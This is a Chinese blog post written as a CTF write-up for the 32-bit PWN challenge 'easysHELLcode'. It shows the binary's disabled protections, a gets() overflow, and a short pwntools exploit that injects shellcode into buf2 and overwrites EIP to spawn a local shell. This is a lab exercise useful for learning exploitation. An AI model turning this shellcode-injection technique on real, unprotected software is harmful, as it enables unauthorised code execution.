

# 火种CTF PWN easysHELLcode writeup

原创

Okam1 于 2020-04-13 22:00:31 发布 383 收藏

分类专栏: [CTF PWN](#) 文章标签: [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_41743240/article/details/105498593](https://blog.csdn.net/qq_41743240/article/details/105498593)

版权



CTF 同时被 2 个专栏收录

12 篇文章 0 订阅

订阅专栏



PWN

5 篇文章 0 订阅

订阅专栏

检查一下程序保护机制

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x8048000)
RWX:       Has RWX segments
```

没有开启NX,也有RWX可读可写可执行的段

将程序拖入IDA



可以看到gets(&s)这里存在溢出漏洞,会将s字符复制0x64字节给buf2

利用思路:

\*\* 将shellcode写到&s,再填充A覆盖只EIP填入buf2的地址

\*\* 这样执行EIP的时候即是执行buf2里面的shellcode

获取到buf2的地址

```
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
.bss:0804A060 public buf2
.bss:0804A060 char buf2[100]
.bss:0804A060 buf2 db 64h dup(?) ; DATA XREF: pass+2E1c
.bss:0804A060 _bss ends
.bss:0804A060
.prgend:0804A0C4 ; =====
```

exploit如下:

```
#coding:utf-8
from pwn import *

sh = process('./easysHELLcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A060
sh.sendline(shellcode+"A"*(112-len(shellcode))+ p32(buf2_addr))
sh.interactive()
```

欢迎爱好CTF的小伙伴一起交流